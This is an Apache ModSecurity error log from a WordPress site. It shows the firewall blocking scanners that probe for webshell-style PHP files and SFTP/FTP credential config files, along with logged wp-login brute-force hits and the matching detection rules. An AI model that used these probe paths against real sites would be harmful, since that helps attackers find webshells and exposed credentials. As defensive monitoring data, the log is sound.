[Wed Jan 21 00:12:58.160954 2026] [:error] [pid 63647:tid 63664] [client 20.230.68.25:3871] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ppp.php"] [unique_id "aW-pilUaYw1xHOoaFFI6PQAAAg8"]
[Wed Jan 21 00:12:58.615632 2026] [:error] [pid 17340:tid 17376] [client 20.230.68.25:3868] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ppp.php"] [unique_id "aW-pivAsOSYVgw_35t3KwwAAAlQ"]
[Wed Jan 21 00:41:02.641064 2026] [:error] [pid 54382:tid 54406] [client 85.248.226.9:46962] [client 85.248.226.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.248.226.9, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW-wHkTJlZ9SJ6sBOEvjqgAAABU"]
[Wed Jan 21 00:48:33.992646 2026] [:error] [pid 54260:tid 54314] [client 64.225.8.2:51853] [client 64.225.8.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.vscode/sftp-config.json"] [unique_id "aW-x4dg7jS3jmpUN0WBFaAAAAUY"]
[Wed Jan 21 00:48:36.803776 2026] [:error] [pid 54382:tid 54403] [client 64.225.8.2:58150] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sftp.json"] [unique_id "aW-x5ETJlZ9SJ6sBOEvlAAAAABI"]
[Wed Jan 21 00:48:39.358515 2026] [:error] [pid 56360:tid 56366] [client 64.225.8.2:61829] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ftp-sync.json"] [unique_id "aW-x501J8CD1rR-wXXuFdgAAAQQ"]
[Wed Jan 21 00:48:42.469502 2026] [:error] [pid 56360:tid 56379] [client 64.225.8.2:49926] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ftp-sync.json"] [unique_id "aW-x6k1J8CD1rR-wXXuFfQAAARE"]
[Wed Jan 21 00:48:45.387845 2026] [:error] [pid 17295:tid 17318] [client 64.225.8.2:53716] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ftp.json"] [unique_id "aW-x7fZJhGdrcqZICT_HjAAAAZQ"]
[Wed Jan 21 00:48:48.848084 2026] [:error] [pid 63647:tid 63651] [client 64.225.8.2:63906] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ftp.json"] [unique_id "aW-x8FUaYw1xHOoaFFJAZAAAAgI"]
[Wed Jan 21 00:48:51.322626 2026] [:error] [pid 54382:tid 54404] [client 64.225.8.2:51277] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ftp-config.json"] [unique_id "aW-x80TJlZ9SJ6sBOEvlBgAAABM"]
[Wed Jan 21 00:48:54.089004 2026] [:error] [pid 56326:tid 56333] [client 64.225.8.2:56991] [client 64.225.8.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "aW-x9hA6mi8Uwf45Uy9e1gAAAMU"]
[Wed Jan 21 01:51:17.397480 2026] [:error] [pid 63647:tid 63653] [client 43.157.53.115:36904] [client 43.157.53.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aW_AlVUaYw1xHOoaFFJGTAAAAgQ"]
[Wed Jan 21 03:19:17.180517 2026] [:error] [pid 54382:tid 54386] [client 65.38.25.38:21393] [client 65.38.25.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.38.25.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW_VNUTJlZ9SJ6sBOEv2dAAAAAE"]
[Wed Jan 21 04:20:33.017215 2026] [:error] [pid 21456:tid 21519] [client 152.53.37.34:57722] [client 152.53.37.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.53.37.34, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW_jkQKyVQ9Ob2YxRApyJAAAAIE"]
[Wed Jan 21 04:34:08.937580 2026] [:error] [pid 21454:tid 21475] [client 4.194.217.214:10234] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/download.php"] [unique_id "aW_mwDwp5UZmMFzY2bpNkQAAAAs"]
[Wed Jan 21 04:34:09.159978 2026] [:error] [pid 59863:tid 59870] [client 4.194.217.214:10218] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/download.php"] [unique_id "aW_mwbHQ1zVZ4yLuI-zCBgAAAQM"]
[Wed Jan 21 04:34:09.425821 2026] [:error] [pid 59863:tid 59871] [client 4.194.217.214:10180] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/download.php"] [unique_id "aW_mwbHQ1zVZ4yLuI-zCCAAAAQQ"]
[Wed Jan 21 04:34:09.703968 2026] [:error] [pid 21455:tid 21498] [client 4.194.217.214:10215] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/download.php"] [unique_id "aW_mwYpOKALCSo1URZE3BwAAAEc"]
[Wed Jan 21 04:34:09.963124 2026] [:error] [pid 21563:tid 21565] [client 4.194.217.214:10115] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/varb.php"] [unique_id "aW_mwRZq__dTorabEoyHFgAAAMA"]
[Wed Jan 21 04:34:10.214249 2026] [:error] [pid 21454:tid 21473] [client 4.194.217.214:10197] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/varb.php"] [unique_id "aW_mwjwp5UZmMFzY2bpNkwAAAAk"]
[Wed Jan 21 04:34:10.448644 2026] [:error] [pid 21456:tid 21520] [client 4.194.217.214:10227] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/varb.php"] [unique_id "aW_mwgKyVQ9Ob2YxRAp2fAAAAII"]
[Wed Jan 21 04:34:10.718693 2026] [:error] [pid 21454:tid 21470] [client 4.194.217.214:10203] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/varb.php"] [unique_id "aW_mwjwp5UZmMFzY2bpNlQAAAAY"]
[Wed Jan 21 04:34:10.943073 2026] [:error] [pid 21455:tid 21511] [client 4.194.217.214:10117] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/authorize.php"] [unique_id "aW_mwopOKALCSo1URZE3CQAAAFQ"]
[Wed Jan 21 04:34:11.193542 2026] [:error] [pid 21454:tid 21484] [client 4.194.217.214:10230] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/authorize.php"] [unique_id "aW_mwzwp5UZmMFzY2bpNlgAAABQ"]
[Wed Jan 21 04:34:11.565003 2026] [:error] [pid 21454:tid 21480] [client 4.194.217.214:10193] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/authorize.php"] [unique_id "aW_mwzwp5UZmMFzY2bpNmAAAABA"]
[Wed Jan 21 04:34:11.785429 2026] [:error] [pid 21454:tid 21488] [client 4.194.217.214:10190] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/authorize.php"] [unique_id "aW_mwzwp5UZmMFzY2bpNmQAAABg"]
[Wed Jan 21 04:34:12.137386 2026] [:error] [pid 21563:tid 21577] [client 4.194.217.214:10208] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aW_mxBZq__dTorabEoyHGAAAAMw"]
[Wed Jan 21 04:34:12.569807 2026] [:error] [pid 21456:tid 21519] [client 4.194.217.214:10237] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aW_mxAKyVQ9Ob2YxRAp2gwAAAIE"]
[Wed Jan 21 04:34:12.795290 2026] [:error] [pid 21456:tid 21524] [client 4.194.217.214:10159] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aW_mxAKyVQ9Ob2YxRAp2hAAAAIY"]
[Wed Jan 21 04:34:13.078342 2026] [:error] [pid 59863:tid 59891] [client 4.194.217.214:10179] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aW_mxbHQ1zVZ4yLuI-zCEQAAARg"]
[Wed Jan 21 04:34:13.266153 2026] [:error] [pid 21563:tid 21566] [client 4.194.217.214:10201] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "aW_mxRZq__dTorabEoyHGQAAAME"]
[Wed Jan 21 04:34:13.606769 2026] [:error] [pid 59863:tid 59874] [client 4.194.217.214:10125] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "aW_mxbHQ1zVZ4yLuI-zCFAAAAQc"]
[Wed Jan 21 04:34:13.841684 2026] [:error] [pid 59863:tid 59870] [client 4.194.217.214:10131] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "aW_mxbHQ1zVZ4yLuI-zCFQAAAQM"]
[Wed Jan 21 04:34:14.021141 2026] [:error] [pid 59863:tid 59884] [client 4.194.217.214:10217] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "aW_mxrHQ1zVZ4yLuI-zCFwAAARE"]
[Wed Jan 21 04:34:14.238055 2026] [:error] [pid 59863:tid 59880] [client 4.194.217.214:10134] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aW_mxrHQ1zVZ4yLuI-zCGQAAAQ0"]
[Wed Jan 21 04:34:14.436426 2026] [:error] [pid 59863:tid 59889] [client 4.194.217.214:10198] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aW_mxrHQ1zVZ4yLuI-zCHQAAARY"]
[Wed Jan 21 04:34:14.616069 2026] [:error] [pid 21456:tid 21521] [client 4.194.217.214:10118] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aW_mxgKyVQ9Ob2YxRAp2hgAAAIM"]
[Wed Jan 21 04:34:14.861031 2026] [:error] [pid 21455:tid 21496] [client 4.194.217.214:10225] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aW_mxopOKALCSo1URZE3DAAAAEU"]
[Wed Jan 21 04:34:15.055288 2026] [:error] [pid 59863:tid 59875] [client 4.194.217.214:10124] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "aW_mx7HQ1zVZ4yLuI-zCHwAAAQg"]
[Wed Jan 21 04:34:15.228728 2026] [:error] [pid 21455:tid 21494] [client 4.194.217.214:10132] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "aW_mx4pOKALCSo1URZE3DQAAAEM"]
[Wed Jan 21 04:34:15.412015 2026] [:error] [pid 21563:tid 21575] [client 4.194.217.214:10080] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "aW_mxxZq__dTorabEoyHGgAAAMo"]
[Wed Jan 21 04:34:15.639362 2026] [:error] [pid 59863:tid 59878] [client 4.194.217.214:10206] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "aW_mx7HQ1zVZ4yLuI-zCIAAAAQs"]
[Wed Jan 21 04:34:15.937292 2026] [:error] [pid 21563:tid 21589] [client 4.194.217.214:10236] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "aW_mxxZq__dTorabEoyHGwAAANg"]
[Wed Jan 21 04:34:16.194692 2026] [:error] [pid 21455:tid 21499] [client 4.194.217.214:10188] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "aW_myIpOKALCSo1URZE3DgAAAEg"]
[Wed Jan 21 04:34:16.420217 2026] [:error] [pid 21454:tid 21474] [client 4.194.217.214:10191] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "aW_myDwp5UZmMFzY2bpNnwAAAAo"]
[Wed Jan 21 04:34:16.630653 2026] [:error] [pid 21454:tid 21483] [client 4.194.217.214:10064] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "aW_myDwp5UZmMFzY2bpNoAAAABM"]
[Wed Jan 21 04:34:16.844970 2026] [:error] [pid 21454:tid 21477] [client 4.194.217.214:10176] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acxx.php"] [unique_id "aW_myDwp5UZmMFzY2bpNoQAAAA0"]
[Wed Jan 21 04:34:17.053938 2026] [:error] [pid 21456:tid 21518] [client 4.194.217.214:10199] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acxx.php"] [unique_id "aW_myQKyVQ9Ob2YxRAp2hwAAAIA"]
[Wed Jan 21 04:34:17.235706 2026] [:error] [pid 21456:tid 21540] [client 4.194.217.214:10213] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acxx.php"] [unique_id "aW_myQKyVQ9Ob2YxRAp2iAAAAJY"]
[Wed Jan 21 04:34:17.438873 2026] [:error] [pid 59863:tid 59867] [client 4.194.217.214:10229] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acxx.php"] [unique_id "aW_mybHQ1zVZ4yLuI-zCIQAAAQA"]
[Wed Jan 21 04:34:17.689066 2026] [:error] [pid 21456:tid 21522] [client 4.194.217.214:10119] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aW_myQKyVQ9Ob2YxRAp2iQAAAIQ"]
[Wed Jan 21 04:34:17.956368 2026] [:error] [pid 59863:tid 59891] [client 4.194.217.214:10205] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aW_mybHQ1zVZ4yLuI-zCIwAAARg"]
[Wed Jan 21 04:34:18.154122 2026] [:error] [pid 59863:tid 59873] [client 4.194.217.214:10235] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aW_myrHQ1zVZ4yLuI-zCJQAAAQY"]
[Wed Jan 21 04:34:18.398261 2026] [:error] [pid 59863:tid 59874] [client 4.194.217.214:10192] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aW_myrHQ1zVZ4yLuI-zCJwAAAQc"]
[Wed Jan 21 04:34:18.626049 2026] [:error] [pid 59863:tid 59870] [client 4.194.217.214:10167] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aW_myrHQ1zVZ4yLuI-zCKAAAAQM"]
[Wed Jan 21 04:34:18.844538 2026] [:error] [pid 59863:tid 59884] [client 4.194.217.214:10185] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aW_myrHQ1zVZ4yLuI-zCKQAAARE"]
